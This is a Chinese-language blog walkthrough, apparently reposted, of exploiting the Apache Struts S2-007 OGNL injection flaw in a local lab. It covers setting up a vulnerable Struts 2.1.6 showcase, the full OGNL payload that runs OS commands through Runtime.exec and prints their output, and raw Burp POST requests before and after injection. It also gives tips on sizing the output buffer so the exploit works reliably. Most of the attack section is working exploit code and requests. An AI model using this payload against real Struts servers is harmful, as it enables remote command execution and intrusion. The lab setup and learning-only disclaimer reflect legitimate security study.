Struts-S2-007漏洞利用(含环境搭建、含POC、含POC问题解决方案)

struts-s2-007

此文仅供大家交流学习,严禁非法使用

一、参考网址:

https://www.waitalone.cn/struts2-command-exp.html

二、 影响版本:

Struts 2.0.0 - Struts 2.2.3

三、 漏洞介绍:

当有转换错误时,用户输入被评估为OGNL表达式。这允许恶意用户执行任意代码。

环境搭建

四、 环境搭建:

  • 下载/struts/2.1.6

下载地址:http://archive.apache.org/dist/struts/binaries/struts-2.1.6-apps.zip

  • 下载安装xampp

  • 部署showcase

  • 解压

Struts-S2-007漏洞利用(含环境搭建、含POC、含POC问题解决方案)_第1张图片
2.1.6_1.png

Struts-S2-007漏洞利用(含环境搭建、含POC、含POC问题解决方案)_第2张图片
2.1.6_2.png
  • 复制到.
2.1.6_3.png
  • 重启tomcat
Struts-S2-007漏洞利用(含环境搭建、含POC、含POC问题解决方案)_第3张图片
2.1.6_4.png
  • 已成功自动部署
Struts-S2-007漏洞利用(含环境搭建、含POC、含POC问题解决方案)_第4张图片
2.1.6_5.png
  • 访问http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action

五、 POC:

'%2b(%23_memberAccess.allowStaticMethodAccess=true,%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23cmd="ipconfig",%[email protected]@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[500],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%[email protected]@getResponse(),%23out.getWriter().println(%23echo))%2b'

六、 测试网址:

打开http://127.0.0.1:8080/struts2-showcase-2.1.6/conversion/submitPersonInfo.action

Struts-S2-007漏洞利用(含环境搭建、含POC、含POC问题解决方案)_第5张图片
1.png

这里有个参数Age,经过测试这为典型的int类型,且有异常处理
2.png

添加POC会是什么样的那?
3.png

依然出发异常机制,且无实际效果
不要放弃,使用burp抓包看看

七、原始数据包

POST /struts2-showcase-2.1.6/conversion/submitPersonInfo.action HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 131
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://127.0.0.1:8080/struts2-showcase-2.1.6/conversion/submitPersonInfo.action
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=3C813C56CE2307512F1ECA847E82DAF4
Connection: close

persons%5B0%5D.name=&persons%5B0%5D.age=223456789&persons%5B1%5D.name=&persons%5B1%5D.age=&persons%5B2%5D.name=&persons%5B2%5D.age=

八、更改后为

POST /struts2-showcase-2.1.6/conversion/submitPersonInfo.action HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 551
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://127.0.0.1:8080/struts2-showcase-2.1.6/conversion/submitPersonInfo.action
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=3C813C56CE2307512F1ECA847E82DAF4
Connection: close

persons%5B0%5D.name=&persons%5B0%5D.age='%2b(%23_memberAccess.allowStaticMethodAccess=true,%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23cmd="ipconfig",%[email protected]@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[500],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%[email protected]@getResponse(),%23out.getWriter().println(%23echo))%2b'&persons%5B1%5D.name=&persons%5B1%5D.age=&persons%5B2%5D.name=&persons%5B2%5D.age=

九、执行结果

发现response貌似依旧没有变化,不要灰心,往下划,奇迹出现了

Struts-S2-007漏洞利用(含环境搭建、含POC、含POC问题解决方案)_第6张图片
3.png

出现了命令执行的结果
将respose结果在浏览器打开


4.png

出现了运行结果。

十、发现问题

但发现一个问题,运行结果并不全面,虽然有最关键的以太网适配器信息,但还有这么个瑕疵,之后又发现一个问题,运行whoami时,无结果,运行netstat时结果,这又是怎么回事?
简单阅读POC,发现res存在大小上限(本人菜鸟,只会简单阅读,望大家指点)
经过测试发现,res更改为1000获得更多命令的结果
但改为5000时,结果将不能再现,现在做出假设,res大小超过命令结果大小时,将不再显示结果,以此来猜测为什么whoami不能执行
验证假设,将res大小设为10,重新执行whoami

5.png

假设成立

十一、总结

使用此POC时,注意灵活控制res大小,注意不要将res大小超过命令执行结果

十二、 至此,该漏洞基本利用完毕

本人还是一个未毕业的小萌新,希望大家多多帮助,有问题请发送邮件到[email protected]不胜感激,我也会尽量去帮助大家

坚决做一名白帽子

你可能感兴趣的:(Struts-S2-007漏洞利用(含环境搭建、含POC、含POC问题解决方案))